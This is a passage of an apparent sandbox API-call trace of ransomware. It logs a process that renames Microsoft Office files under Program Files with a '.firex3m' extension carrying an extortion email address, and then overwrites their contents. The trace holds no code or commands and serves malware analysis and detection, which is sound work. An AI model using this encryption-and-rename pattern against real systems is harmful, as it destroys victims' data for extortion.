Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0138.473] CloseHandle (hObject=0x708) returned 1 [0138.473] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.474] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.474] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd4, dwReserved0=0xd00000d, dwReserved1=0x6c0065, cFileName="Garamond-TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GARAMO~2.FIR")) returned 0x6d4e00 [0138.474] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0138.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0138.474] GetProcessHeap () returned 0x630000 [0138.474] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x7246008 [0138.474] GetProcessHeap () returned 0x630000 [0138.474] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x723fdd0 [0138.475] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.475] ReadFile (in: hFile=0x708, lpBuffer=0x7246008, nNumberOfBytesToRead=0xdc0, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7246008*, lpNumberOfBytesRead=0x357ff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0139.977] GetProcessHeap () returned 0x630000 [0139.977] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0139.977] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.977] WriteFile (in: hFile=0x708, lpBuffer=0x723fdd0*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723fdd0*, lpNumberOfBytesWritten=0x357ff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0139.977] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.977] WriteFile (in: hFile=0x708, lpBuffer=0x7240b8f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7240b8f*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.977] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.977] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.977] CloseHandle (hObject=0x708) returned 1 [0139.977] GetProcessHeap () returned 0x630000 [0139.977] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x723fdd0 | out: hHeap=0x630000) returned 1 [0139.977] GetProcessHeap () returned 0x630000 [0139.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7246008 | out: hHeap=0x630000) returned 1 [0139.978] GetProcessHeap () returned 0x630000 [0139.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0139.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1961d7c9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdf8, dwReserved0=0x357fd20, dwReserved1=0x7246008, cFileName="Garamond-TrebuchetMs.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GARAMO~2.FIR")) returned 0x6d5340 [0139.978] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0139.978] Sleep (dwMilliseconds=0x1) [0140.884] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms", len=0x4f | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned 1 [0140.884] GetProcessHeap () returned 0x630000 [0140.884] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c74) returned 0x7203db8 [0140.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0142.702] CloseHandle (hObject=0x6b8) returned 1 [0142.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0142.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.898] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4f82560, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4f82560, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe50672e1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dd7, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="MondoR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOR~2.FIR")) returned 0x6d5200 [0142.898] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0142.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0142.898] GetProcessHeap () returned 0x630000 [0142.898] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4de1) returned 0x6ec2db8 [0142.898] GetProcessHeap () returned 0x630000 [0142.898] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4de1) returned 0x70c500 [0142.899] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.899] ReadFile (in: hFile=0x6b8, lpBuffer=0x6ec2db8, nNumberOfBytesToRead=0x4dc0, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec2db8*, lpNumberOfBytesRead=0x357ff0c*=0x4dc0, lpOverlapped=0x0) returned 1 [0143.496] GetProcessHeap () returned 0x630000 [0143.496] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176f70 [0143.496] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.496] WriteFile (in: hFile=0x6b8, lpBuffer=0x70c500*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c500*, lpNumberOfBytesWritten=0x357ff0c*=0x4dc0, lpOverlapped=0x0) returned 1 [0143.496] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.496] WriteFile (in: hFile=0x6b8, lpBuffer=0x7112bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7112bf*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0143.496] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.496] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0143.497] CloseHandle (hObject=0x6b8) returned 1 [0143.648] GetProcessHeap () returned 0x630000 [0143.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c500 | out: hHeap=0x630000) returned 1 [0143.648] GetProcessHeap () returned 0x630000 [0143.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec2db8 | out: hHeap=0x630000) returned 1 [0143.648] GetProcessHeap () returned 0x630000 [0143.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176f70 | out: hHeap=0x630000) returned 1 [0143.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4f82560, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4f82560, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b7aaa74, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4dfb, dwReserved0=0xc787496, dwReserved1=0x6ec2db0, cFileName="MondoR_OEM_Perp-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOR~2.FIR")) returned 0x6d5280 [0143.861] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0143.861] Sleep (dwMilliseconds=0x1) [0143.871] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK", len=0x44 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK") returned 1 [0143.872] GetProcessHeap () returned 0x630000 [0143.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x268c) returned 0x71f7c78 [0143.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0145.435] CloseHandle (hObject=0x6ec) returned 1 [0145.435] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.435] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.936] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.936] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAPH_~2.FIR")) returned 0x6d4e40 [0146.937] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0146.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0146.937] GetProcessHeap () returned 0x630000 [0146.937] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5288 [0146.937] GetProcessHeap () returned 0x630000 [0146.937] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5318 [0146.937] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.937] ReadFile (in: hFile=0x6ec, lpBuffer=0x6a5288, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5288*, lpNumberOfBytesRead=0x357ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.938] GetProcessHeap () returned 0x630000 [0146.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.938] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.938] WriteFile (in: hFile=0x6ec, lpBuffer=0x6a5318*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5318*, lpNumberOfBytesWritten=0x357ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.938] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.938] WriteFile (in: hFile=0x6ec, lpBuffer=0x6a5377*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5377*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.939] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.939] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.939] CloseHandle (hObject=0x6ec) returned 1 [0146.939] GetProcessHeap () returned 0x630000 [0146.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5318 | out: hHeap=0x630000) returned 1 [0146.939] GetProcessHeap () returned 0x630000 [0146.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5288 | out: hHeap=0x630000) returned 1 [0146.939] GetProcessHeap () returned 0x630000 [0146.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d88000a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x357fd20, dwReserved1=0x6a5288, cFileName="GRAPH_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAPH_~2.FIR")) returned 0x6d5580 [0146.939] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0146.939] Sleep (dwMilliseconds=0x1) [0148.106] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS", len=0x3d | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS") returned 1 [0148.106] GetProcessHeap () returned 0x630000 [0148.106] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2684) returned 0x71f7c78 [0148.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0149.590] CloseHandle (hObject=0x6a8) returned 1 [0149.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.591] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.591] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4665beb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="JADE.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JADECS~1.FIR")) returned 0x6d4f00 [0149.591] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0149.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\jade.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0149.592] GetProcessHeap () returned 0x630000 [0149.592] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0149.592] GetProcessHeap () returned 0x630000 [0149.592] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6faa1c0 [0149.592] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.592] ReadFile (in: hFile=0x6a8, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x357ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0149.653] GetProcessHeap () returned 0x630000 [0149.653] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0149.653] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.653] WriteFile (in: hFile=0x6a8, lpBuffer=0x6faa1c0*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faa1c0*, lpNumberOfBytesWritten=0x357ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0149.653] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.653] WriteFile (in: hFile=0x6a8, lpBuffer=0x6faaf1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faaf1f*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0149.653] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.653] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0149.653] CloseHandle (hObject=0x6a8) returned 1 [0149.653] GetProcessHeap () returned 0x630000 [0149.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faa1c0 | out: hHeap=0x630000) returned 1 [0149.653] GetProcessHeap () returned 0x630000 [0149.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0149.653] GetProcessHeap () returned 0x630000 [0149.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0149.654] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4665beb, 